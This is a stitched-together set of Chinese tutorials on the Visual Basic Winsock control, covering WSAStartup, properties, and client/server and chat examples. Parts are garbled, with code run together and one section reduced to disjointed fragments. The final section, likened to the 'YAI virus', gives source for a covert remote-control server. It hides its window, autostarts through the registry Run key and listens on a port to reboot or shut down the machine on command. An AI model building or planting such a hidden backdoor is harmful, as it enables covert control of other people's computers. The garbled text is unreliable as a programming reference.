VB中Winsock控件的使用
VB网络编程--WinSock控件及WinSockAPI

初始化1.1版本
lngRetVal = WSAStartup(&H101, udtWinsockData)
初始化2.2版本
lngRetVal = WSAStartup(&H202, udtWinsockData)
第二个参数是WSADATA 的数据结构 ,它是接收Windows Sockets 执行时的数据。
iMaxSockets 表示同时打开的socket最大数,为0表示没有限制。
iMaxUdpDg 表示同时打开的数据报最大数,为0表示没有限制。
lpVendorInfo 厂商指定信息预留
在Winsock的1.1和2.2版本中没有lpVendorInfo的返回值。因为winsock 2支持多个传输协议,所以iMaxSockets 和iMaxUdpDg只能在仅支持TCP/TP的winsock1.1中使用。为了在Winsock 2中获得这些值,你可以使用WSAEnumProtocols 函数。
如果成功或者返回一个错误代码,则函数返回 0。
错误代码 含义
WSASYSNOTREADY 指出网络没有为传输准备好。
WSAVERNOTSUPPORTED 当前的WinSock实现不支持应用程序指定的Windows Sockets规范版本
b.SocketHandle属性
SocketHandle返回当前socket连接的句柄,这是只读属性。
c.RemoteHostIP属性
RemoteHostIP属性返回远程计算机的IP地址。在客户端,当使用了控件的Connect方法后,远程计算机的IP地址就赋给了RemoteHostIP属性,而在服务器端,当ConnectRequest事件后,远程计算机(客户端)的IP地址就赋给了这个属性。如果使用的是UDP协议那么当DataArrival事件后,发送UDP报文的计算机的IP才赋给了这个属性。
在VBA中调用winsock控件

在VBA中调⽤winsock控件如果系统没有Winsock控件的话,可以下载下⾯的控件MSWINSCK.OCX,然后将该⽂件复制到C:\Windows\System32⽬录下。
在VBE窗⼝中,从菜单“⼯具”->“引⽤”中,点击“浏览”按钮,选择MSWinSCK.ocx⽂件,再从“⼯具箱”的“附加控件”中选择Microsoft Winsock Control。
此时使⽤Winsock控件的话,将会出现提⽰不安全的ActiveX控件的提⽰。
可以点击同时下载的REG⽂件注册该控件即可。
(48.41 KB, 下载次数: 495)⼀般在Excel的窗体中添加Winsock控件。
使⽤Winsock控件的应⽤程序⼀般是Client/Server结构,也就是客户端/服务器端。
以服务端为例,⼀般的步骤是:先设置LocalPort本地端⼝,然后使⽤Listen⽅法侦听数据请求。
然后处理ConnectionRequest和DataArrival事件。
使⽤完后使⽤Close⽅法关闭连接。
Private Sub UserForm_Initialize()Winsock1.LocalPort = 1999Winsock1.ListenEnd SubPrivate Sub UserForm_Terminate()Winsock1.CloseEnd SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestIDEnd SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim Buffer() As ByteTransferedBytes = TransferedBytes + bytesTotalReDim Buffer(bytesTotal - 1)Winsock1.GetData Buffer, vbArray + vbByteEnd SubPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)Debug.Print "Sock Err:" & DescriptionEnd Sub⽽客户端的⼀般步骤如下:设置远程服务器端⼝RemotePort属性,然后使⽤Connect⽅法连接。
vb中winsock简单实例

VB中Winsock简单实例Winsock是Visual Basic(VB)中用于创建网络应用程序的组件。
它提供了一种简单的方法来实现网络通信,并允许应用程序通过TCP/IP协议与远程主机进行通信。
本文将介绍如何在VB中使用Winsock组件创建一个简单的网络应用程序。
什么是Winsock?Winsock(Windows Sockets)是一套用于在Windows操作系统上进行网络通信的API。
它提供了一种标准的接口,使开发人员可以使用各种网络协议(如TCP/IP)进行通信。
在VB中,Winsock组件是对Winsock API的封装,使开发人员可以轻松地在VB应用程序中实现网络通信功能。
Winsock组件的使用要在VB中使用Winsock组件,首先需要在项目中添加对Microsoft Winsock Control的引用。
在VB的工具箱中,可以找到Winsock控件并将其拖放到窗体上。
Winsock控件具有许多属性和方法,用于配置和控制网络通信。
以下是一些常用的属性和方法:属性•LocalHost:表示本地主机的IP地址。
•LocalPort:表示本地主机的端口号。
•RemoteHost:表示远程主机的IP地址。
•RemotePort:表示远程主机的端口号。
•Protocol:表示要使用的网络协议。
方法•Connect:与远程主机建立连接。
•SendData:发送数据到远程主机。
•GetData:从远程主机接收数据。
•Close:关闭与远程主机的连接。
Winsock简单实例下面是一个简单的VB程序示例,演示了如何使用Winsock组件进行网络通信。
该程序将作为客户端与远程服务器建立连接,并发送和接收数据。
Private Sub Form_Load()' 设置本地主机和端口Winsock1.LocalPort = 1234Winsock1.LocalHost = "127.0.0.1"End SubPrivate Sub ConnectButton_Click()' 设置远程主机和端口Winsock1.RemoteHost = "192.168.0.1"Winsock1.RemotePort = 5678' 建立连接Winsock1.ConnectEnd SubPrivate Sub SendButton_Click()' 发送数据到远程主机Winsock1.SendData "Hello, Server!"End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim receivedData As String' 接收数据Winsock1.GetData receivedData' 处理接收到的数据MsgBox "Received: " & receivedDataEnd SubPrivate Sub DisconnectButton_Click()' 关闭连接Winsock1.CloseEnd Sub在上面的示例中,我们首先在Form_Load事件中设置了本地主机和端口。
利用Winsock控件实现局域网通信

利用Winsock控件实现局域网通信Winsock控件是操作系统Windows提供的一种API,用于实现应用程序之间的网络通信。
利用Winsock控件,我们可以轻松地实现局域网通信,实现不同电脑之间的数据交互和消息传递。
在本文中,我们将介绍利用Winsock控件实现局域网通信的方法和步骤。
首先,我们需要在Visual Basic中引用Winsock控件。
在VB界面中,选择“工具箱”栏目,然后右键单击空白处,选择“组件”菜单。
在弹出的“组件”对话框中,找到Winsock控件,并勾选选择框。
其次,在VB界面中添加Winsock控件,然后设置相关参数。
具体步骤如下:1. 选择“工具箱”栏目,找到Winsock控件,将其拖拽到VB界面中。
2. 右键单击Winsock控件,选择“属性”菜单,设置控件的名称、端口号、IP地址等参数。
3. 创建“发送”和“接收”按钮,分别用于发送和接收消息。
4. 在发送按钮的单击事件中,利用Winsock控件的SendData方法,将数据发送到指定的IP地址和端口号。
5. 在接收按钮的单击事件中,利用Winsock控件的GetData方法,接收其他电脑发来的消息。
以上步骤完成后,就可以利用Winsock控件实现局域网通信了。
当一个电脑发送消息时,其他电脑就会收到该消息,并进行相应的处理。
利用这种方法,我们可以实现多台电脑之间的实时数据交换和消息传递,提高工作效率和协同处理能力。
总之,利用Winsock控件实现局域网通信是一种方便、快捷、高效的方法,可以实现不同电脑之间的数据交互和消息传递。
在实际开发中,我们可以根据具体需求和实际情况进行相应的调整和优化,提高系统的性能和稳定性。
VBWinsock控件的使用与介绍

VB Winsock 控件的使用与介绍第一节: Winsock 控件的介绍Winsock 控件的作用简单说就是可以用于两台或多台机器间通信,这里不多说这个控件的作用了,因为在以后的介绍中我们会了解到这个控件的强大功能的,如可以用来做聊天软件等废话不多说,来看看他有些什么重要的属性、方法和事件吧!在 VB6.0 中的工具箱里默认情况下是没有这个控件的,添加方法如下:在工具箱上右击,选择 [部件 ],然后在部件对话框中选择 "MicrosoftWinsock Control6.0",后确定即可。
如果没有这个复选框的话,请点击 [浏览]按钮后在打开的 [添加 ActiveX 控件 ]对话框选择MSWINSCK.ocx 后选择打开,再点确定即可。
Winsock 控件在工具箱中图标为。
Winsck 的主要属性:属性名说明 BytesReceived返回接收的数据,可以用GetData 方法来获取它LocalHostName返回本机名LocalIP返回本机 IPLocalPort返回或设置本机所用的端口,如果为0 则为随机产生Protocol返回通信所用的协议RemoteHostName返回通信对方的计算机名RemoteHostIP返回通信对方的IPState返回 Winscok 的当前状态,取值如下sckClosed (常量为 0):关闭状态sckOpen (常量为 1):打开状态sckListening (常量为2):侦听状态sckConnectionPending (常量为3):连接状态sckResolvingHost (常量为4):解析主机中sckHostResolved (常量为 5):已解析主机sckConnecting (常量为6):正在连接sckConnected (常量为 7):已经连接sckClosing (常量为8):客户端正在关闭sckError (常量为9):连接发生错误。
VBWinsock控件的使用与介绍

Private Sub cmdSend_Click() wskClient.SendData txtMessage.Text ' txtContent.Text = vbCrLf & txtContent.Text & " " & txtMessage.Text ' txtContent.Text=""
HTTP 80 FTP 21
Web
Web
Web 124
Form_Load
124
Private Sub Form_Load() wskServer.LocalPort = 124 wskServer.Listen
End Sub
wskServer ConnectionRequest
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long) If wskServer.State <> sckClosed Then wskServer.Close End If wskServer.Accept requestID
End Sub Winsock Connect
Private Sub wskServer_ConnectionRequest(ByVal requestID As Long) If wskServer.State <> sckClosed Then wskServer.Close ' wskServer.Accept requestID ' 4 ConnectionRequest Accept End If
Private Sub cmdConnect_Click() Dim IP As String IP = InputBox(" IP", " IP", "127.0.0.1") ' IP wskClient.RemoteHost =P wskClient.RemotePort = 1024 '2 RemotePort wskClient.Connect '3 Connect cmdConnect.Enabled = False
Winsock控件基础(VB6.0)

Winsock控件基础(VB6.0)Winsock控件基础(VB6.0)1.Winsock控件基础Winsock控件在程序设计时,看不到这个控件显现在执行的窗体之中,但是它可以提供有关网络通讯方面的程序设计依据。
此外,在这个控件的使用上,您可以非常容易地要求控件为您调用TCP或是UDP网络服务的功能。
因此,当您在编写有关住从式架构的应用程序时,您可以不需要了解TCP 通讯协议或是低级的Winsock api调用方式。
通常,以笔者的经验,除了必须与标准通讯协议进行互动外,仅仅是进行一般性相互通讯、交换数据时,Winsock控件可以满足您的要求。
因此您可以非常容易地通过属性的设置以及控制方法的调用,与远程的设备进行连接并且相互交换信息。
关于这些应用方面以及调用方式,笔者将在接下的探索中,慢慢地研究Winsock的应用方式。
1-1TCP基础不论是在Internet或是Internet网络之中,以目前流行的趋势,多半都会使用TCP协议来进行远程设备的连接。
TCP 协议的全名为“传输控制协议(transfer control protocol)”,这是一种在Internet上使用的主要协议,例如http,ftp,smtp 等,都是属于这个中面向连接的协议。
因此,当您使用TCP 协议连接两个网络上的设备时,将可以在它们之间交换希望交换的数据。
同时,如果您开发的应用程序属于主从式应用架构(或是n-tear(多层次))应用系统时,将必须要知道应用系统主机的ip地址(利用RemoteHost属于取得)以及连接端口号(利用remoteport属于取得)。
在这些数据完全备齐之后,您才可以进行进一步的调用、连接。
因此,如果正在建立主机端应用程序时,必须指定本机,必须指定本机(执行应用程序所在的计算机)所用的连接端口号(localport属于),接着将Winsock控件设置为“监听(listen)”,即可等候远程客户端进行调用与连接。
vb mswinsock注册方法

vb mswinsock注册方法Mswinsock控件是VB语言中的一个重要组件,它提供了与网络通信相关的功能。
通过使用Mswinsock控件,我们可以实现与其他计算机的网络通信,例如发送和接收数据等。
要使用Mswinsock控件进行注册,首先需要在VB项目中添加Mswinsock控件。
在VB的工具箱中,可以找到Mswinsock控件,并将其拖放到窗体上。
接下来,需要对Mswinsock控件进行一些设置。
在控件的属性窗口中,可以设置Mswinsock控件的一些属性,例如协议类型、监听端口、远程主机IP地址等。
根据实际需求,可以根据需要进行设置。
需要注意的是,IP地址必须是有效的IP地址。
注册的第一步是创建一个Socket对象,用于与远程主机进行通信。
可以使用以下代码创建一个Socket对象:Dim WithEvents Socket1 As MSWinsockLib.Winsock接下来,可以使用以下代码进行Socket对象的初始化:Set Socket1 = New MSWinsockLib.Winsock在Socket对象初始化完成后,可以通过设置Socket对象的属性来进行注册。
例如,可以使用以下代码设置Socket对象的协议类型为TCP:Socket1.Protocol = MSWinsockLib.ProtocolConstants.sckTCPProtocol然后,可以使用以下代码设置Socket对象的监听端口:Socket1.LocalPort = 8888接下来,可以使用以下代码设置Socket对象的远程主机IP地址:Socket1.RemoteHost = "192.168.0.1"在完成以上设置后,可以使用以下代码启动Socket对象的监听:Socket1.Listen通过以上步骤,就可以成功注册Mswinsock控件,并开始进行网络通信。
在实际使用中,可能还需要编写相应的事件处理程序,以处理接收到的数据或其他操作。
计算机网络VB使用Winsock控件.

计算机网络实验报告使用winsock控件学院:计算机科学与工程班级:姓名学号:一实验目的使用winsock控件利用 winsock控件可以与远程计算机建立连接,并通过用户数据文报协议 (UDP)或者传输控制协议 (TCP)进行数据交换。
这两种协议都可以用来创建客户与服务器应用程序。
与 Timer 控件类似,winsock控件在运行时是不可见的。
二实验内容可能的用途∙创建收集用户信息的客户端应用程序,并将收集的信息发送到某中央服务器。
∙创建一个服务器应用程序,作为多个用户的数据的汇入点。
∙创建“聊天”应用程序。
选择通讯协议在使用winsock控件时,首先需要考虑使用什么协议。
可以使用的协议包括 TCP 和 UDP。
两种协议之间的重要区别在于它们的连接状态:∙TCP 协议控件是基于连接的协议,可以将它同电话系统相比。
在开始数据传输之前,用户必须先建立连接。
∙UDP 协议是一种无连接协议,两台计算机之间的传输类似于传递邮件:消息从一台计算机发送到另一台计算机,但是两者之间没有明确的连接。
另外,单次传输的最大数据量取决于具体的网络。
协议的设置在设计时,可以按如下方式设置应用程序使用的协议:在“属性”窗口中单击“协议”,然后选择 sckTCPProtocol 或者 sckUDPProtocol。
也可以使用程序代码来设置 Protocol 属性,如下所示:Winsock1.Protocol = sckTCPProtocol确定计算机的名称在与远程计算机相连接的时候,需要知道它的 IP 地址或者它的“好听的名字”。
IP 地址是一串数字,每三个数字为一组,中间用点隔开(形如xxx.xxx.xxx.xxx)。
通常,最易记住的是计算机的“好听的名字”。
要确定计算机的名字,请按照以下步骤执行:1.在计算机的“任务栏”上,单击“启动”。
2.在“设置”项中,单击“控制面板”。
3.双击“网络”图标。
4.单击“标识”选项卡。
用VBWinsock控件创建TCPIP客户机服务器程序

用VBWinsock控件创建TCPIP客户机/服务器程序摘要本文介绍了如何使用VBWinsock控件来创建基于TCP/IP协议的客户机/服务器程序。
通过VBWinsock控件,我们可以通过互联网或局域网上的计算机之间进行通信。
本文将分为以下几个部分来说明如何创建并使用VBWinsock控件来实现客户机/服务器应用程序。
1.VBWinsock控件是Visual Basic的一个强大的网络编程控件,用于与其他计算机进行网络通信。
它通过提供一系列的事件和方法,使得我们可以轻松地创建客户机/服务器应用程序。
2. 创建服务器端程序要创建一个服务器端程序,我们需要首先添加VBWinsock控件到我们的项目中。
进入Visual Basic的设计界面,单击“工具箱”窗口上的“组件”选项卡,然后选择VBWinsock控件,拖放到我们的窗体或模块中。
现在我们可以开始编写服务器端程序的代码。
以下是一个简单的VBWinsock服务器端程序的示例:Private Sub Form_Load()Winsock1.LocalPort = 5000 ' 设置服务器监听的端口号Winsock1.Listen ' 启动服务器监听End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long) If Winsock1.State <> sckClosed ThenWinsock1.Close ' 如果当前有连接,则关闭它End IfWinsock1.Accept requestID ' 接受客户端的连接请求End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim receivedData As StringWinsock1.GetData receivedData ' 接收数据' 处理接收到的数据End Sub在上述代码中,我们首先在Form_Load()事件中设置了服务器监听的端口号。
VB6通过winsock控件数组实现客户端和服务器多对一通信

VB6通过winsock控件数组实现客户端和服务器多对一通信在VB6中使用winsock控件需要引用Microsoft Winsock Control 6.0部件使用winsock控件可以实现客户端和服务器间C/S结构的通信,如果把客户端和服务器放置于同一台电脑中,并且将客户端winsock 的RemoteHost设置为本机IP,则可以实现客户端程序和服务端程序间的自由通信。
在应用程序之间采用winsock通信比内存共享等方法更简单快捷,同时也更安全。
在客户端中添加一个窗体,拖拽一个winsock控件到该窗体上。
Private Sub Form_Load()Me.Winsock1.RemoteHost = "192.168.1.5"Me.Winsock1.RemotePort = 10002Me.Winsock1.ConnectEnd SubRemoteHost代表需要连接的远程服务器IP地址,局域网中的通信可以使用路由器分配的IP地址。
RemotePort代表端口号,服务器和客户端通过该端口进行连接。
Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim strGet As String'接收字符串并写入T ext1控件中Winsock1.GetData strGetText1.Text = strGetEnd Sub当客户端的winsock接收到服务器发送来的数据后会触发Winsock1_DataArrival事件,利用GetData方法可以将数据读取出来,一般来说将数据读取到byte()数组中是最好的,因为利用字节数组可以收发图片、音频等文件,本例中为了演示所以直接用一个字符串变量来读取数据了。
Dim strSet As StringWinsock1.SendData strSet客户端向服务器发送数据可以用SendData方法,该方法同样可以发送字节数组,这里为了演示所以发送了个字符串。
vb中winsock简单实例

vb中winsock简单实例VB中的Winsock简单实例Winsock是一种来自于VB的库,它允许我们通过网络进行数据传输。
使用Winsock可以在计算机之间建立网络连接,发送和接收数据包等。
本文将为您介绍如何在VB中创建和使用Winsock的简单实例。
首先,我们需要了解一些基本的网络概念。
在计算机网络中,有两种常见的通信协议:TCP和UDP。
TCP(传输控制协议)提供可靠的数据传输,而UDP(用户数据报协议)提供不可靠但更快的数据传输。
在本文中,我们将重点介绍使用TCP进行数据传输的Winsock实例。
第一步是在VB中添加Winsock控件。
打开VB开发环境,并在工具箱中找到Winsock控件。
将其拖放到您的表单中。
第二步是为Winsock控件设置属性。
选中Winsock控件,然后在属性窗口中设置以下属性:- LocalPort:这是本地使用的端口号。
您可以选择任意未被其他应用程序使用的端口号。
- Protocol:选择TCP协议。
- RemoteHost:指定远程主机的IP地址。
您可以输入主机名或IP地址。
- RemotePort:指定远程主机的端口号。
这是目的地主机上的应用程序正在监听的端口号。
第三步是编写VB代码来建立连接并发送数据。
在表单中的代码窗口中添加以下VB代码:Private Sub Command1_Click()Winsock1.Connect '建立与远程主机的连接End SubPrivate Sub Command2_Click()Winsock1.SendData "Hello World" '向远程主机发送数据End SubPrivate Sub Winsock1_Connect()MsgBox "连接成功" '连接成功时显示一条消息End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim data As StringWinsock1.GetData data '接收从远程主机传输过来的数据MsgBox "接收到的数据:" & dataEnd Sub在上面的代码中,Command1按钮的Click事件将建立与远程主机的连接。
Winsock在VB网络编程中应用

Winsock在VB网络编程中应用【摘要】本文分析了Winsock的基本原理和适用协议,针对VB网络编程中如何使用Winsock进行分析讨论,并给出实例。
【关键词】VB;Winsock;tcp;udp0.引言Socket(套接字)最初是由加利福尼亚大学Berkeley(伯克利)分校为UNIX 操作系统开发的网络通信接口,随着UNIX的广泛使用,Socket成为当前最流行的网络通信应用程序接口之一。
20世纪90年代初,由Sun Microsystems,JSB,FTP software,Microdyne和Microsoft等几家公司共同定制了一套标准,即Windows Socket规范,简称WinSock。
Winsock控件可以应用的大致范围:(1)将客户端所收集的数据,传送给主机端。
(2)点对点的文件传送。
(3)聊天室应用程序。
(4)电子公告栏(BBS)。
(5)voip(voice over TCP/ip)1.选用适用的协议使用Winsock控件可以选择TCP 协议或是UDP协议中的一种。
但是这两种协议主要的差异在于连接的状态。
TCP协议是属于面向连接的协议。
UDP协议是属于无面向连接协议。
因此,必须依据应用程序使用的环境来选择适用的协议。
2.如何允许更多客户端同时连接当应用程序架构是属于主从式架构时客户端不止一个。
利用Visable Basic 控件数组的方式并利用监听用的数组元素(一般都是索引值“0”),来触发ConnectRequest事件。
再利用判别控件数组元素的连接状态来进行远程客户端连接。
3.程序代码…首先,声明一些变量,代码如下所示。
Dim strCommand As StringDim strWebPage As StringPrivate Sub Win_Click()If Winuser.Text = ““ Or Winpw.Text = ““ ThenMsgBox “请填写完整!”Else…为了动态设置Winsock控件的一些属性,在“开始”按钮的Click事件加入以下代码。
vb下winsock的应用

这是一个vb下通过winsock控件实现文件传输的代码很有研究学习的价值‘将以下代码复制到vb工程客户端里面Private FName As String '将接收的文件完整路径Private Sub Command1_Click()If Winsock1.State <> sckClosed Then '如果Winsock1当前状态非关闭Winsock1.Close '关闭连接End IfWinsock1.RemoteHost = Text1.Text '服务器地址Winsock1.RemotePort = 4567 '服务器端口Winsock1.Connect '连接End SubPrivate Sub Form_Load()'Download by FName = App.Path & "\Test.bmp" '指定接收文件完整路径End SubPrivate Sub Form_Unload(Cancel As Integer)Winsock1.Close '关闭连接End SubPrivate Sub Text1_KeyPress(KeyAscii As Integer)If KeyAscii = 13 Then '如果当前输入的是回车键KeyAscii = 0 '取消当前输入Command1_Click '激发Command1_Click过程End IfEnd SubPrivate Sub Winsock1_Close()Winsock1.Close '关闭连接End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim TheFile() As Byte '接受数据的数组ReDim TheFile(bytesTotal) '重定义数组下界Static YNLen As Boolean '是否接收了文件长度Winsock1.GetData TheFile '将接收的数据保存到数组If bytesTotal = 2 And Chr(TheFile(0)) = "C" And Chr(TheFile(1)) = "S" Then '如果收到的是成功连接信息Me.Caption = "客户端-----成功连接" '提示信息Winsock1.SendData "GetFileLen" '发送要求文件长度信息Text1.Enabled = False 'Text1不可输入Command1.Enabled = False '按钮不可用ProgressBar1.Value = 0 '进度条当前值为0Exit Sub '结束过程End IfIf bytesTotal = 3 And Chr(TheFile(0)) = "N" And Chr(TheFile(1)) = "o" And Chr(TheFile(2)) = "F" Then '如果收到的是无此文件的信息MsgBox "服务器并无此文件。
vb中winsock简单实例

vb中winsock简单实例在VB中,我们可以使用Winsock控件来实现网络通讯。
下面是一个简单的Winsock实例:1. 在VB中,首先要确保启用了Microsoft Winsock Control,可以在VB的工具箱中找到它。
2. 将一个Winsock控件拖放到表单上。
3. 双击Winsock控件,在代码编辑器中会自动生成一个Winsock控件的事件过程。
4. 在Winsock控件的事件过程中编写代码以处理网络通讯。
下面是一个简单的例子,演示了如何使用Winsock控件进行基本的客户端和服务器通讯:```vbPrivate Sub Form_Load()' 设置服务器地址和端口号Winsock1.RemoteHost = "127.0.0.1"Winsock1.RemotePort = 1234End Sub' 连接服务器按钮点击事件Private Sub cmdConnect_Click()Winsock1.Connect ' 连接到服务器End Sub' 断开连接按钮点击事件Private Sub cmdDisconnect_Click()If Winsock1.State <> sckClosed Then Winsock1.Close ' 断开连接End IfEnd Sub' 连接完成事件Private Sub Winsock1_Connect()MsgBox "已连接到服务器!"End Sub' 断开连接事件Private Sub Winsock1_Close()MsgBox "与服务器断开连接!"End Sub' 发送消息按钮点击事件Private Sub cmdSendMessage_Click()If Winsock1.State = sckConnected Then ' 发送消息到服务器Winsock1.SendData txtMessage.Text ElseMsgBox "未连接到服务器!"End IfEnd Sub' 接收消息事件Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strData As StringWinsock1.GetData strData ' 从服务器接收数据MsgBox "接收到消息:" & strDataEnd Sub```在上面的例子中,载入表单时,代码设置了要连接的服务器地址和端口号。
VB Winsock控件(UDP协议)的使用

Private Sub Form_Load() Winsock1.Bind 1000, LocalIP End Sub
第二个工程的代码:
2
Private Sub Form_Load() Winsock1.Bind 1001, LocalIP End Sub Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long) Dim a As String Winsock1.GetData a, vbString Text1.Text = a End Sub
创建一个Command控件
创建一个Text控件
再新建一个工程,创建一个Winsock控件,LocalPort填本地端口,RemotePort填远程端口, Protocol选1 – sckUDPProtocol(本例本地端口为1001,远程端口为1000)
创建一个Text控件
注意:本地端口和远程端口不能重合
Winsock控件是VB6.0的一个新的功能,它可以进行两台机器之间的通讯,它分两种协议, 一种是TCP协议,即Transmission Control Protocol 传输控制协议,另一种则是UDP协议, 即User Datagram Protocol用户数据包协议 ,也就是我要讲的。 打开VB6.0,选择Microsoft Winsock Control 6.0,在左边的选择框中打勾。
控件工具箱中也就多了这个图标(放大的):
1
新建一个工程,创建一个Winsock控件,RemoteHost填要连接到的机器的主机名或IP, LocalPort填本地端口,RemotePort填远程端口,Protocol选1 – sckUDPProtocol(本例本 地端口为1000,远程端口为1001)
VB网络编程中Winsock的使用-jy

VB网络编程中Winsock的使用如同上面的内容所描述的,不论您使用UDP协议或是TCP协议,Winsock控件都可以允许与远程的设备连接,并且在相互之间交换数据。
因此,依据上面的面熟而言,不论您使用的是哪一种协议都可以扮演主机端和客户端的角色。
同时,当您在使用Winsock控件的过程中,这个控件不会显示在正在执行的窗体之中。
换句话说,Winsock控件是在后台运行的一种控件。
在执行过程之中,不会具有任何选用、可见的控件。
那么该如何使用Winsock控件呢?它可以被应用在那些类型的应用程序之中呢?以下所列出的内容,是这个控件可以应用的大致范围:*将客户端所收集的数据,传送给主机端。
*点对点的文件传送。
*聊天室应用程序。
*电子公告栏。
*voip(voice over TCP/ip)因此,当您希望建立上述类型的应用程序之前,必须要学习如何选用适合的协议类型。
2-1如何选用适用的协议当您准备开始使用Winsock控件之前,首要的工作是如何选择适用的协议类型。
如同先前所述的,您可以选择TCP 协议或是UDP协议中的一种。
但是这两种协议的差异点在哪里呢?虽然,它们同样可以使用在Internet或是Internet环境之中,但是主要的差异在于连接的状态。
以下是这两种协议的特点说明:*TCP协议是属于面向连接的协议。
所谓的面向连接协议是指——“在您可以交换数据之前,在两个终端设备之间必须连接成功”。
同时,在网络的基础理论之中,都会特别强调TCP具有错误核对的功能。
也就是说,在数据的传送过程中,如果发生错误或是数据无法传达对方时,TCP协议将会重复尝试着重新传送数据。
因此,核对以及重新传送的能力,因此起传输效率会比Internet协议或是巨域网络协议差一些(netBIEUI、IPX、AppleTalk)。
*UDP协议是属于无面向连接协议。
这种协议为适用在两个设备之间,适用于信息传送以及数据的传输方面。
但是在使用时,必须注意当你将信息送出时,对方可能已经离线,因而无法接收到数据,而您也无法实时察觉到对方已经离线。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
VB中Winsock控件的使用--------------------------------------------------------------------------------前一段时间,一个名叫Y AI的‘病毒’在我国闹的沸沸扬扬,许多不明真相的人对他感到神秘莫测,可是究其实质无非也就是一个远程控制软件罢了,只不过他的服务器端程序隐藏的十分好而已。
其实在VB5中有一个基于TCP\IP协议的Winsock控件,利用他改改属性,写几段代码,我们同样可以来一回Y AI.由于篇幅所限,在这里我们只来看看对远程计算机的重启,关闭功能室如何实现的。
打开VB5后,在工具箱中并不能看到Winsock控件,通过鼠标右键单击工具箱点“部件”,再将“Microsoft Winsock Control 5.0”选中确定后,就可以将Winsock控件添加到工具箱中了。
远程控制功能是基于客户机/服务器这一模型来实现的,所以程序的编制也应分两部分进行:一部分是服务器端--也就是被控制的一方,另一部分是客户端--控制方。
服务器程序要守侯在一个固定或不固定的网址(IP)上等待客户程序的请求;客户程序则向服务器程序所在的网址请求连接,连接成功后通过交换信息即可得到相应的服务。
因此设置Winsock属性时,服务器端应设置LocalPort和应用Listen方法进行监听,客户程序则要设置RemoteHost 和RemotePort及应用Connect方法请求连接,并用Senddata方法互换信息。
下面是Winsock 控件的相关属性,方法和事件。
(略去一些暂用不到的)*属性-------------------------------------------------------------------------LocalHostName | 本地机器名LocalIP | 本地机器IP地址LocalPort | 本地机器通信程序的端口(0<端口<65536)RemoteHost | 远程机器名RemotePort | 远程机器的通信程序端口state | 连接的当前状态(文后有详细说明)Protocal | 使用TCP或UDP协议(这里我们选‘0-sckTCPProtocal’)--------------------------------------------------------------------------*方法--------------------------------------------------------------------------ListenListen方法用于服务器程序,等待客户访问。
格式:Winsock对象.listenConnectConnect方法用于向远程主机发出连接请求格式:Winsock对象.connect [远程主机IP,远程端口]AcceptAccept方法用于接受一个连接请求格式:Winsock对象.accept Request IDSenddata此方法用于发送数据格式:Winsock对象.senddata 数据Getdata用来取得接收到的数据格式:Winsock对象.getdata 变量[,数据类型[,最大长度]]Close关闭当前连接格式:Winsock对象.close*事件----------------------------------------------------------------------------Close | 远程机器关闭连接时触发Connect | 连接建立好,可以进行通信时触发(客户端)ConnectRequest | 有请求连接到达时产生(服务器端)DataArrival | 有数据到达时触发Error | 发生错误时发生SendProgress | 数据传送进度-----------------------------------------------------------------------------程序代码如下:--》服务器端程序(server.exe)先在窗体中放置Winsock控件(他在运行时是看不见的),属性采用默认值,再设置Form1的属性ShowInTaskBar为False,Visible为False(这样才有隐蔽性嘛).对于程序的自启动可手工在注册表“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run”中增加键值"winserver"="c:\\windows\\server.exe"或配置文件Win.ini的Load,run写入"C:\windows\server.exe"来达到目的。
当然也可通过在VB5中调用API函数来实现对注册表的写入,这就更方便了,不过由于实现过程较复杂,就不在这里说了.Private Sub Form_Load()On Error GoTo skip 注释:如此端口已有通信程序则退出Winsock1.LocalPort = 1334 注释:端口值应大于1024,如还有冲突可改为其他值Winsock1.ListenExit Subskip:If Err.Number = 10048 ThenMsgBox "端口冲突,退出!", vbOKOnly, "注意!"EndEnd IfEnd SubPrivate Sub Winsock1_Close()If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Listen 注释:关闭连接后继续监听End SubPrivate Sub Winsock1_ConnectionRequest(ByVal requestID As Long)If Winsock1.State <> sckClosed Then Winsock1.CloseWinsock1.Accept requestID 注释:请求到达时,接受连接End SubPrivate Sub Winsock1_DataArrival(ByVal bytesTotal As Long)Dim strget As StringDim ccom As StringWinsock1.GetData strget 注释:读取到达的数据Select Case strgetCase "a" 注释:判断到达的数据是否‘a’,是则重启,你也可自己定义(协议就是这样产生的)ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindowsexec" 注释:不同机器设置不一样Call Shell(ccom, vbHide) 注释:由函数curr_win()来判断Case "b" 注释:如为‘b’则关闭计算机ccom = curr_win() + "\RUNDLL.EXE user.exe,exitwindows"Call Shell(ccom, vbHide) 注释:函数shell来执行命令Case Else 注释:可以在此加入其他命令End SelectEnd SubFunction curr_win() As StringDim i As IntegerDim enstr As Stringi = 1 注释:此函数通过读取环境变量来获得Windows目录enstr = Environ(i)Do While enstr <> ""If Len(enstr) > 11 ThenIf Left(enstr, 11) = "winbootdir=" Thencurr_win = Right(enstr, Len(enstr) - 11)Exit DoEnd IfEnd Ifi = i + 1enstr = Environ(i)LoopEnd FunctionPrivate Sub Winsock1_Error(ByVal Number As Integer, Description As String, ByValScode As Long, ByVal Source As String, ByVal HelpFile As String,ByVal HelpContext As Long, 